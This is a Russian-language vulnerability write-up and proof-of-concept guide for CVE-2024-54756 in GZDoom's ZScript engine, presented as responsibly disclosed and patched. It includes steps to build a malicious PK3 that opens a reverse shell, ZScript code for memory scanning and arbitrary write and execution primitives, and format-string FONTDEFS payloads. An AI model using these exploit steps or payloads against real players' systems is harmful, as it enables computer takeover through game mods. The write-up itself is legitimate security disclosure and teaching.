
Доказательство концепции для CVE-2024-54756, уязвимости, которую я обнаружил в ZScript scripting engine в GZDoom.
Доказательство концепции уязвимости произвольного выполнения кода, которую я нашёл в функциональности ZScript в GZDoom (https://github.com/zdoom/gzdoom). Злоумышленник может распространить PK3-файл, содержащий вредоносный исходный файл ZScript, и получить доступ к ПК жертвы.
Большое спасибо Rachael и Agent Ash из команды разработчиков GZDoom за оперативные ответы, а также им и другим разработчикам GZDoom за быстрое устранение проблемы!
Подтверждена работа для 4.13.0 и 4.13.1, и, вероятно, работает и для более ранних версий. Остерегайтесь тех, кто советует вам откатиться до версии 4.13.1 или ниже, чтобы иметь возможность играть в их WAD.
Это PoC работает только в Linux, но уязвимость, скорее всего, существует и в Windows. Не проверялось на ZDoom или LZDoom, но уязвимость может существовать и там.
Уязвимость была раскрыта разработчикам до публикации этого PoC, и она больше не должна присутствовать в версии 4.13.2. Насколько мне известно, эта версия не содержит каких-либо существенных критических изменений.
Это PoC создано и опубликовано в образовательных целях, чтобы разработчики игровых/скриптовых движков могли понять, как могут возникать уязвимости, и чтобы игроки могли понять, как может выглядеть вредоносная модификация игры. Я не несу ответственности за любое неправомерное использование этого PoC. Пожалуйста, не используйте это для взлома компьютеров ваших товарищей по игре; это незаконно (вам не нужно, чтобы я вам это говорил), и это особенно подлый поступок — захватывать чей-то компьютер через видеоигру.
Чтобы использовать это PoC, скачайте этот репозиторий и создайте PK3-файл (который на самом деле является zip-файлом с расширением .pk3), содержащий zscript.zs и MAPINFO:
git clone https://github.com/Chainmanner/GZDoom-Arbitrary-Code-Execution-via-ZScript-PoC
cd GZDoom-Arbitrary-Code-Execution-via-ZScript-PoC
zip PoC.pk3 zscript.zs MAPINFO
Полезная нагрузка по умолчанию — запуск обратной оболочки на localhost через порт 1337. Запустите прослушиватель:
nc -nvlp 1337
Запустите PoC следующим образом:
gzdoom -iwad <your-doom-or-freedoom-wad> -file PoC.pk3
Если всё сработало, вы должны получить обратную оболочку к самому себе.
Это PoC только для Linux. Может не сработать с первой попытки; просто пробуйте снова, пока не получится.
ПРИМЕЧАНИЕ: Это моя первая статья об эксплуатации, и я всё ещё совершенствую свои навыки написания материалов низкого уровня. Кроме того, я проводил большую часть отладки с помощью GDB, и, к сожалению, не додумался сохранить некоторые дампы памяти, чтобы лучше проиллюстрировать свои объяснения. Извините! Моя следующая статья будет лучше, обещаю.
GZDoom — это порт исходного кода Doom, предназначенный для производительности и расширяемости. Благодаря его мощным функциям было создано множество замечательных WAD, модов и даже коммерческих полных переработок. К сожалению, там, где есть сложность, есть и возможность появления уязвимостей, и в данном случае в скриптовом движке ZScript присутствовали две уязвимости, которые позволили реализовать полную цепочку эксплуатации.
Эта атака обходит ASLR и обходит необходимость обхода стековых канареек. Я не думаю, что CFI от Clang или теневые стеки могли бы здесь помочь.
Первая и наиболее важная уязвимость заключалась в обработке огромных массивов. Если выделить достаточно маленький массив, выделенная область памяти обычно заполняется нулями и должным образом отделена от других объектов; чтение неинициализированной памяти не даёт никакой информации, и никакие объекты не перекрываются с массивом. Однако, если выделить огромный массив — скажем, 1073741823 32-битных слова или больше — вы сможете читать и записывать до 4 ГиБ потенциально неинициализированной памяти, начиная с точки начала массива, что позволяет атакующему напрямую изменять другие объекты и обходить ASLR, находя адреса с известными смещениями. Кроме того, любые другие массивы, созданные после этого места, будут перекрываться с огромным массивом.
Вторая уязвимость была в разрешениях страниц памяти. Для повышения производительности код ZScript компилируется JIT в байт-код x86 или x86-64, когда это возможно. Для этого код должен быть записан в область памяти, и эта область памяти должна быть исполняемой. Однако правило W^X гласит, что область должна быть либо записываемой, либо исполняемой, но не одновременно. Если применяются оба разрешения одновременно (вместо того, чтобы сделать область записываемой, записать код, а затем сделать область исполняемой и незаписываемой), то атакующий, имеющий примитив произвольной записи, сможет повысить его до произвольного выполнения кода; он может записать шелл-код и перейти на него, например, изменив адрес возврата в стеке (при условии, что у атакующего нет примитива произвольного выполнения). Если посмотреть на отображение памяти GZDoom во время работы, можно увидеть несколько областей RWX:
7fcd19700000-7fcd19800000 rwxp 00000000 00:00 0
7fcd1a100000-7fcd1a200000 rwxp 00000000 00:00 0
7fcd1eb00000-7fcd1ec00000 rwxp 00000000 00:00 0
Таким образом, если доступны примитивы произвольной записи и произвольного выполнения, и атакующий знает, где находится любая область RWX, он может записать произвольный шелл-код и выполнить его. Сделать эти области RW- при записи JIT-скомпилированного кода, а затем R-X, когда они готовы к выполнению, остановило бы это PoC, но не помешало бы атакующему получить выполнение кода, например, изменяя данные в стеке (ROP) или куче.
Кроме того, есть полезный гаджет. Помните, что при выделении огромного массива любые другие массивы, созданные после него, будут перекрываться? Это касается и массивов указателей на объекты. Подобно объектам C++, объекты ZScript могут содержать переменные и указатели на функции. Предположим, у нас есть такой объект:
class WeirdObject
{
uint one;
uint two;
uint three;
uint four;
Function<clearscope void()> funcptr;
}
Если мы создадим массив, содержащий указатель на экземпляр WeirdObject, то атакующий может изменить указатель куда угодно с помощью огромного массива и изменить данные по этому адресу, обращаясь к полям объекта, что даёт нам примитив произвольного чтения/записи, выходящий за пределы кучи. Указатели в ZScript проверяются на неравенство нулю, но не на то, что они корректны.
Наличие указателя на функцию также даёт нам примитив произвольного выполнения; однако это немного менее прямолинейно, требуя создания поддельного VMFunction, удовлетворяющего виртуальной машине. Как только в коде эксплойта появляется вызов функции ZScript, этот код больше не компилируется JIT. Всё ещё работает, но отладка и эксплуатация становятся немного более запутанными. Возможно, есть лучший способ выполнить эту часть, но я недостаточно хорошо изучил внутренности GZDoom, чтобы знать о нём.
Стоит отметить: у WeirdObject есть унаследованные переменные-члены, поэтому первый член начинается со смещения 0x28.
Итак, теперь у нас есть следующие инструменты:
Как объединить их для создания эксплойта?
Во-первых, поскольку включён ASLR, нам нужно определить, где находится область RWX. Подойдёт любая. Часть кучи, доступная через огромный массив, содержит адреса, указывающие на функции внутри области RWX, но также содержит адреса, указывающие на другие области; как их различить? Вспомните, что в Linux ASLR имеет 28 бит энтропии (иногда меньше!), то есть, хотя биты маски 0x7fffffe00000 в адресе будут случайными, биты 0x0000001fffff будут статическими. Итак, с отключённым ASLR предположим, что у нас есть следующие области RWX:
[0x7ffff2f00000, 0x7ffff3000000)
[0x7ffff3900000, 0x7ffff3a00000)
[0x7ffff4300000, 0x7ffff4400000)
Тогда мы можем использовать следующий код на ZScript, чтобы вывести указатели на JIT-скомпилированные функции ZScript внутри областей RWX:
uint u32pBFA9000[1073741823];
uint u32RWX_L;
uint u32RWX_H;
for (i = 0; i < (1073741823 / 2); i += 2)
{
u32RWX_L = u32pBFA9000[i];
u32RWX_H = u32pBFA9000[i+1];
if ((u32RWX_H & 0xffff8000) == 0)
{
if ((u32RWX_L & 0xffe00000) == 0xf2e00000)
{
Console.Printf("0x%x%08x", u32RWX_H, u32RWX_L);
}
if ((u32RWX_L & 0xffe00000) == 0xf3800000)
{
Console.Printf("0x%x%08x", u32RWX_H, u32RWX_L);
}
if ((u32RWX_L & 0xffe00000) == 0xf4200000)
{
Console.Printf("0x%x%08x", u32RWX_H, u32RWX_L);
}
}
}
Получите смещения, выполнив AND выведенных результатов с 0x1fffff, и вы сможете использовать эти смещения для идентификации указателей на области RWX. Чем больше смещений вы знаете, тем выше вероятность успеха эксплойта.
Затем нам нужно подготовить примитив произвольного выполнения. Мы делаем это, изменяя указатель на функцию в объекте-гаджете, таком как объявленный выше WeirdObject, используя примитив произвольной записи. После объявления u32pBFA9000 начните с создания объектов-гаджетов произвольной записи и выполнения:
WeirdObject ppGadgetObjects[2];
ppGadgetObjects[0] = New("WeirdObject"); // Указатель произвольной записи.
ppGadgetObjects[1] = New("WeirdObject"); // Объект произвольного выполнения.
ppGadgetObjects перекрывается с u32pBFA9000 в самом начале, и помните, что специфические для WeirdObject члены начинаются со смещения 0x28. Примитив произвольной записи выглядит следующим образом, где TARGET_ADDR — целевой адрес записи, QWORD — 64-битное целое для записи, а _H/_L обозначают старшие и младшие 32 бита 64-битного целого соответственно:
u32pBFA9000[0] = (TARGET_ADDR_L-0x28);
u32pBFA9000[1] = TARGET_ADDR_H;
ppGadgetObjects[0].one = QWORD_L;
ppGadgetObjects[0].two = QWORD_H;
Я признаю, что недостаточно знаю о том, как работают указатели на функции в ZScript, и эту часть мне всё ещё трудно объяснить, но я постараюсь объяснить как можно лучше. Извините, если я вас ещё больше запутаю.
Мне действительно стоит нарисовать диаграмму для этого, но сейчас у меня нет настроения делать ASCII-арт. Смотрите исходный код эксплойта, чтобы увидеть, как это выглядит. Как только вышеописанное улажено, мы можем изменить указатель на функцию в объекте-гаджете. Когда мы его вызовем, он выполнит наш шелл-код после его записи.
Последний шаг — запись самого шелл-кода. Поскольку это PoC вызывает команду оболочки, некоторые строки ("/bin/bash", "-c", строка команды) также нужно записать. Эта часть может быть лёгкой или сложной, в зависимости от того, что именно вы собираетесь выполнять.
Когда всё это сделано, вы вызываете функцию, на которую указывает указатель в объекте-гаджете выполнения WeirdObject, и теперь вы выполнили свой собственный шелл-код.
Я нашёл несколько дополнительных уязвимостей, но не смог найти способ их эксплуатировать, чтобы предоставить полную цепочку ACE. Уязвимость переполнения стека strcpy() исправлена в версии 4.13.2. Уязвимость форматной строки mysnprintf() пока не исправлена, но удачи, если вы попытаетесь её эксплуатировать.
В конструкторе FFont в common/fonts/font.cpp есть уязвимость форматной строки (даже две):
[...]
if (nametemplate != nullptr)
{
if (!iwadonly)
{
for (i = 0; i < lcount; i++)
{
int position = lfirst + i;
mysnprintf(buffer, countof(buffer), nametemplate, i + start);
lump = TexMan.CheckForTexture(buffer, ETextureType::MiscPatch);
[...]
}
}
else
{
FGameTexture *texs[256] = {};
if (lcount > 256 - start) lcount = 256 - start;
for (i = 0; i < lcount; i++)
{
TArray<FTextureID> array;
mysnprintf(buffer, countof(buffer), nametemplate, i + start);
TexMan.ListTextures(buffer, array, true);
[...]
}
[...]
}
[...]
}
[...]
Аргумент TEMPLATE из записи в лумпе FONTDEFS передаётся напрямую в mysnprintf(). Это означает, что можно создать запись, подобную этой, которая пытается загрузить шрифт на основе переменных стека:
EVILFONT
{
TEMPLATE LOL%hhx
}
Или запись, которая записывает количество записанных символов куда-то в стек, вызывая сбой:
EVILFONT
{
TEMPLATE ----AAAAAAAA%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%n
}
Тот факт, что вывод ограничен, не имеет значения; символы процента будут обработаны независимо от максимальной длины.
mysnprintf() — это собственная реализация snprintf(), находящаяся в общественном достоянии, оптимизированная для производительности в ущерб гибкости. Эксплуатировать её гораздо сложнее, чем стандартную реализацию libc. Например, с помощью %n можно записывать только 32-битные слова, и нельзя записывать конкретные элементы стека с помощью %<num>$n.
Также есть опасный вызов strcpy() в LevelStatEntry() в gamedata/statistics.cpp, где источник может быть длиннее, чем приёмник. Функция:
static void LevelStatEntry(FSessionStatistics *es, const char *level, const char *text, int playtime)
{
FLevelStatistics s;
time_t clock;
struct tm *lt;
time (&clock);
lt = localtime (&clock);
strcpy(s.name, level);
strcpy(s.info, text);
s.timeneeded=playtime;
es->levelstats.Push(s);
}
Структура FLevelStatistics, выделенная в стеке, выглядит так:
struct FLevelStatistics
{
char info[60];
short skill;
short playerclass;
char name[24];
int timeneeded;
};
А LevelStatEntry() вызывается следующим образом, с использованием LevelData.Levelname — который имеет тип std::string — в качестве аргумента:
[...]
for(unsigned i = 0; i < LevelData.Size(); i++)
{
FString lsection = LevelData[i].Levelname;
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
lsection.ToUpper();
infostring.Format("%4d/%4d, %4d/%4d, %3d/%3d",
LevelData[i].killcount, LevelData[i].totalkills, LevelData[i].itemcount, LevelData[i].totalitems, LevelData[i].secretcount, LevelData[i].totalsecrets);
LevelStatEntry(es, lsection.GetChars(), infostring.GetChars(), LevelData[i].leveltime);
^^^^^^^^^^^^^^^^^^^
}
SaveStatistics(statfile, EpisodeStatistics);
[...]
Чтобы добраться до этой точки, требуется целая цепочка других вызовов, начиная с FLevelLocals::ChangeLevel() в g_level.cpp, но я не буду утруждаться её показывать здесь. Скажу лишь, что на пути выполнения к этой точке нет никаких проверок или ограничений на длину LevelData.Levelname.
В современной системе это не должно быть эксплуатируемо; стековые канарейки остановят любые попытки разрушения стека таким способом, а ASLR не позволит пользователю узнать, куда возвращаться. Кроме того, у вас есть только один гаджет: перезапись адреса возврата при выходе из LevelStatEntry(). Однако в старых системах эти защиты могут отсутствовать, и, возможно, JIT-скомпилированный код ZScript может предоставить гаджеты для эксплуатации.